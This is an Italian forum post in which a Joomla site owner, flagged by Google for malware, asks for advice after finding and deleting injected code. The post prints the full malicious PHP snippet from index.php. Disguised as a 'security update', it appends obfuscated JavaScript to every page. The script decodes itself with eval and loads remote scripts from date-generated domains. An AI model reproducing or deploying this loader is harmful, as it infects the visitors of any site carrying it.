Salve,
ieri ho notato che il mio sito risultava "bannato" da google per la presenza di malware..
vado a controllare il sito e controllando un po' di codice ho trovato all'inizio del file index.php il seguente codice "dannoso":
<?php ob_start('security_update'); function security_update($buffer){return $buffer.'<script language="javascript">var ez=window;function asd(s){r="";for(i=0;i<s.length;i++){if(s.charAt(i)=="Z"){s1="%"}else{s1=s.charAt(i)}r=r+s1;}return unescape(r);}var sdkajsnd=String.fromCharCode(101,118,97)+"l";function fds(){return asd($a);}var $a="Z64zZ3dZ22Z2566uncZ2574iZ256fnZ2520Z2564wZ2528t)Z257bcaZ253dZ2527Z252564ocZ252575mZ2565nZ2525Z2537Z2534.wZ2572Z252569Z25257Z2534eZ252528Z252522Z2527;Z2563eZ253dZ2527Z252522Z252529Z2527;cbZ253dZ2527Z25253csZ252563riZ2570Z2525Z2537Z2534 Z25256cZ252561Z25256eZ252567uZ2525Z2536Z2531geZ25253dZ25255Z2563Z252522jZ2561vasZ2563Z2525Z25372iZ25257Z2530tZ25255Z2563Z252522Z25253eZ2527;ccZ253dZ2527Z25253cZ25255cZ25252fsZ252563riZ2570Z252574Z25253eZ2527Z253bwiZ256edoZ2577Z255bZ2522eZ2522+Z2522Z2522+ Z2522vZ2522+Z2522alZ2522](uneZ2573Z2563apeZ2528Z2574)Z2529};Z22;dcZ3dZ22rs}vybZ3esZ257F}7+fqb0}Z257F~dxc0-0~ug0Qbbqi87trc7Z3c07id~7Z3c07f}d7Z3c07f}b7Z3c07}|s7Z3c07Z257FhZ7b7Z3c07vtc7Z3c07rfv7Z3c07iec7Z3c07}s`7Z3c07~sj7Z3c07wtg79+fqb0|uddubc0-0~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7x7Z3c7z7Z3c7y7Z3c7Z7b7Z3c7|7Z3c7}7Z3c7~7Z3c7Z257F7Z3c7`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7g7Z3c7h7Z3c7i7Z3c7j79+fqb0~e}rubc0-0~ug0Qbbqi8!Z3cZ2522Z3c#Z3c$Z3cZ25Z3cZ2526Z3cZ27Z3c(Z3c)9+Z2519ve~sdyZ257F~0Sq|se|qdu]qwys^e}rub8tqiZ3c0}Z257F~dxZ3c0iuqbZ3c0y~tuh9kbudeb~0888iuqb0;Z22;cuZ3dZ22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:wZ7by;xp;a`uz;64c}p`|)Z25$$4|q}s|`),$*(;}rfuyq*(;p}b*Z22;ceZ3dZ220.chZ2561Z2572Z2543odZ2565Z2541t(Z2530)^(Z25270xZ25300Z2527+esZ2529)Z2529;Z257d}Z22;caZ3dZ22Z2566Z2575Z256ecZ2574iZ256fnZ2520dcZ2573(Z2564Z2573,Z2565s)Z257bdsZ253duZ256eeZ2573caZ22;dbZ3dZ227FtuQd8!90;0!Z25200;gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mmyv08cxyvdY~tuh0--0Z252009kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0Z270;gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3e|u~wdx+m0yv08cxyvdY~tuh0.0Z25209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~tZ257FgZ3ewtZ3ewudEDSVe||Iuqb89+dy}uK7}Z257F~dx7M0-0gy~tZ257FgZ3ewtZ3ewudEDS]Z257F~dx89;!+dy}uK7tqi7M0-0gy~tZ257FgZ3ewtZ3ewudEDSTqdu89+fqb0t-7vZ22;stZ3dZ22Z2573Z2574Z253dZ2522$aZ253dsZ2574Z253bZ2564cZ2573Z2528Z2564Z2561+Z2564Z2562+Z2564Z2563+Z2564dZ252bZ2564eZ252c1Z2530Z2529Z253bdZ2577Z2528sZ2574Z2529Z253bsZ2574Z253d$Z2561Z253bZ2522;Z22;opZ3dZ22Z2524aZ253dZ2522dw(dZ2563s(cZ2575,Z25314)Z2529;Z2522;Z22;czZ3dZ22Z2566uZ256ectiZ256fnZ2520czZ2528cZ257a)Z257bretuZ2572Z256e caZ252bcZ2562Z252bZ2563c+Z2563d+cZ2565+Z2563z;Z257d;Z22;daZ3dZ22fqb0t-7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+vZ257Fb08fqb0y0y~0gy~tZ257FgZ3edgZ3edbu~tc9kyv08gy~tZ257FgZ3ex0.0(0660gy~tZ257FgZ3ex0,0Z2522!0660yZ3ey~tuh_v870Z2520Z27790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mu|cu0yv088gy~tZ257FgZ3ex0,0)0ll00gy~tZ257FgZ3ex0.0Z2522Z252090660yZ3ey~tuh_v870!(790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ25Z22;cdZ3dZ22)Z253bstZ253dsZ2574+StZ2572inZ2567.Z2566Z2572oZ256dChZ2561rZ2543Z256fde(Z2528tmZ257Z22;ccZ3dZ22Z2565nZ2567Z2574Z2568;i+Z252bZ2529Z257btmpZ253ddZ2573.Z2573lZ2569ceZ2528i,iZ252bZ2531Z22;deZ3dZ22!Z25209M0;0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0$90;0~e}9050!Z25209M+0}Z257F~dxSx0-0|uddubcK88dy}uK7}Z257F~dx7M0;0~e}9050Z2522Z259M0;0|uddubcK88dy}uK7}Z257F~dx7M0:0~e}9050Z2522Z259M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0Z25269050Z2522Z279M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050Z2522$9M+4q-4qZ3ebu`|qsu8tZ3ctqiSx0;0iuqbSxZ25220;0}Z257F~dxSx0;0iuqbSx!0;0tqiSx0;0}Z257F~dxcKdy}uK7}Z257F~dx7M0Z3d0!M0;07Z3esZ257F}79+mZ22;ddZ3dZ2208y~tuh0:0tqi990;08}Z257F~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!Z3c0iuqbSxZ2522Z3c0}Z257F~dxSxZ3c0tqiSxZ3c0~e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7MZ3c0dy}uK7}Z257F~dx7MZ3c0dy}uK7iuqb7MZ3c0cxyvdY~tuh9;!Z2520Z2520+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90;0~e}9050Z2526#9050Z2522Z2526M0;0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90,,0Z252290;0~e}9050Z2522Z25M+iuqbSxZ25220-0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0#90;0~e}9050Z22;cbZ3dZ22Z2570eZ2528Z2564sZ2529;stZ253dtZ256dZ2570Z253dZ2527Z2527;for(iZ253d0Z253biZ253cds.lZ22;Z69f Z28doZ63umZ65ntZ2ecZ6fZ6fkZ69e.Z69Z6edZ65xZ4ff(Z27Z72fZ35Z666Z64Z73Z27)Z3dZ3d-1)Z7bfuncZ74ionZ20caZ6cZ6cZ62aZ63k(xZ29Z7bZ77Z69Z6eZ64owZ2eZ74wZ20Z3d Z78;Z76Z61rZ20dZ20Z3d neZ77 DZ61teZ28Z29;dZ2esZ65tZ54Z69me(Z78Z5bZ22as_oZ66Z22]*Z31000Z29;vZ61r hZ20Z3dZ20dZ2eZ67eZ74UTZ43HZ6fursZ28Z29Z3bwiZ6edZ6fw.Z68 Z3d h;iZ66 Z28h Z3e 8)Z7bdZ2eseZ74Z55TCDZ61Z74e(Z64.Z67etZ55TCZ44Z61te(Z29Z20-Z202)Z3bZ7delsZ65Z7bdZ2esZ65Z74Z55Z54CDaZ74e(dZ2egZ65tUZ54Z43DZ61tZ65()Z20Z2d 3Z29Z3b}wiZ6edZ6fw.Z67dZ20Z3d d;vZ61rZ20tZ69meZ20Z3d neZ77 Z41rraZ79(Z29Z3bvaZ72 shZ69Z66tInZ64Z65Z78 Z3dZ20Z22Z22;timeZ5bZ22yearZ22] Z3d d.geZ74UTZ43FulZ6cYZ65ar(Z29;tZ69mZ65[Z22moZ6etZ68Z22] Z3d Z64.gZ65tUZ54CMZ6fZ6eZ74h()Z2b1Z3btiZ6de[Z22daZ79Z22] Z3d d.gZ65Z74UZ54CZ44atZ65(Z29;ifZ20(Z64.gZ65tUTZ43MZ6fntZ68Z28Z29+1Z20Z3c 10)Z7bsZ68Z69ftIZ6edexZ20Z3d Z74iZ6de[Z22yeaZ72Z22] Z2b Z22-Z30Z22 + (d.Z67eZ74UZ54CZ4dontZ68()Z2b1Z29;}Z65Z6csZ65Z7bshiZ66Z74Z49Z6edeZ78 Z3d Z74imeZ5bZ22yearZ22] +Z20Z22-Z22 + (d.Z67eZ74UZ54CMoZ6eZ74h()Z2b1Z29Z3bZ7dZ69f Z28d.Z67eZ74Z55TZ43DatZ65()Z20Z3c 10Z29Z7bshiftIZ6edexZ20Z3dshifZ74InZ64exZ20Z2b Z22-0Z22 +Z20Z64.Z67etUZ54CZ44ateZ28);}Z65lsZ65Z7bshiZ66Z74IZ6eZ64eZ78 Z3d shifZ74Z49ndZ65x +Z20Z22-Z22 + d.gZ65Z74UZ54CDZ61teZ28);Z7ddZ6fcumZ65Z6etZ2eZ77rZ69Z74e(Z22Z3cscZ72Z22+Z22ipt Z6canZ67Z75Z61gZ65Z3djavaZ73cZ72ipZ74Z22+Z22 srcZ3dZ27hZ74tp:Z2fZ2fsearZ63hZ2eZ74wZ69tZ74erZ2ecoZ6dZ2fZ74Z72enZ64sZ2fdaZ69lZ79.Z6asZ6fnZ3fdZ61teZ3dZ22+ shiZ66tZ49nZ64eZ78+Z22&caZ6cZ6cZ62ackZ3dcalZ6cZ62Z61cZ6b2Z27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);} fZ75ncZ74iZ6fZ6e caZ6clZ62aZ63k2Z28Z78Z29Z7bwZ69ndoZ77.tZ77 Z3d x;sZ63(Z27rf5Z66Z36dsZ27,2Z2c7);Z65vaZ6c(unZ65sZ63apZ65Z28dZ7a+czZ2bop+Z73Z74)Z2bZ27dw(Z64z+Z63z(Z24a+Z73t)Z29;Z27);dZ6fcumZ65nZ74Z2ewZ72iZ74e(Z24a)Z3b}dZ6fcuZ6dentZ2ewrZ69tZ65(Z22Z3cimg srZ63Z3dZ27http:Z2fZ2fsearZ63h.Z74witZ74eZ72.Z63omZ2fimZ61gesZ2fseZ61rchZ2fZ72sZ73Z2epnZ67Z27 wZ69Z64Z74hZ3dZ31 heZ69ghZ74Z3d1 stZ79lZ65Z3dZ27visiZ62ilZ69tyZ3ahidZ64eZ6eZ27 Z2fZ3e Z3cscrZ22+Z22ipt langZ75aZ67eZ3djavZ61scrZ69ptZ22+Z22Z20srcZ3dZ27hZ74tpZ3aZ2fZ2fseaZ72ch.Z74wiZ74terZ2ecomZ2ftZ72enZ64sZ2fdaiZ6cy.jZ73Z6fn?Z63Z61llZ62aZ63Z6bZ3dcZ61lZ6cbZ61cZ6bZ27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);}elseZ7b$Z61Z3dZ27Z27};functiZ6fnZ20scZ28cnmZ2cZ76Z2ced)Z7bZ76ar Z65xZ64Z3dnewZ20DZ61tZ65(Z29;Z65xd.Z73etDZ61teZ28eZ78d.Z67Z65tZ44ateZ28)+eZ64)Z3bZ64Z6fcumZ65Z6et.cZ6fokiZ65Z3dcnZ6d+ Z27Z3dZ27 Z2bZ65sZ63Z61pe(Z76)+Z27;exZ70ireZ73Z3dZ27+exd.Z74Z6fGMZ54Z53triZ6eg()Z3b}Z3b";ez[sdkajsnd](fds());</script>';}//important security update ?>
La prima cosa che ho fatto è stato eliminare questo codice dannsono infatti ora il sito risulta "non bannato" da google, inoltre ho cambiato la password dell'amministratore di joomla.
Secondo voi devo attuare altri accorgimenti e/o modifiche?
Come è potuto capitare?
INFO SISTEMA:
PHP creato il: Linux webxc04s03.ad.aruba.it 2.6.18-194.3.1.el5PAE #1 SMP Thu May 13 13:48:44 EDT 2010 i686
Versione database: 5.0.91-enterprise-gpl-log
Collation Database: utf8_general_ci
Versione PHP: 5.3.2
Server Web: Apache/2.2
Server web per interfaccia PHP: cgi-fcgi
Versione di Joomla!: Joomla! 1.5.15 Stable [ Wojmamni Ama Mamni ] 05-November-2009 04:00 GMT
grazie e buon inizio di settimana
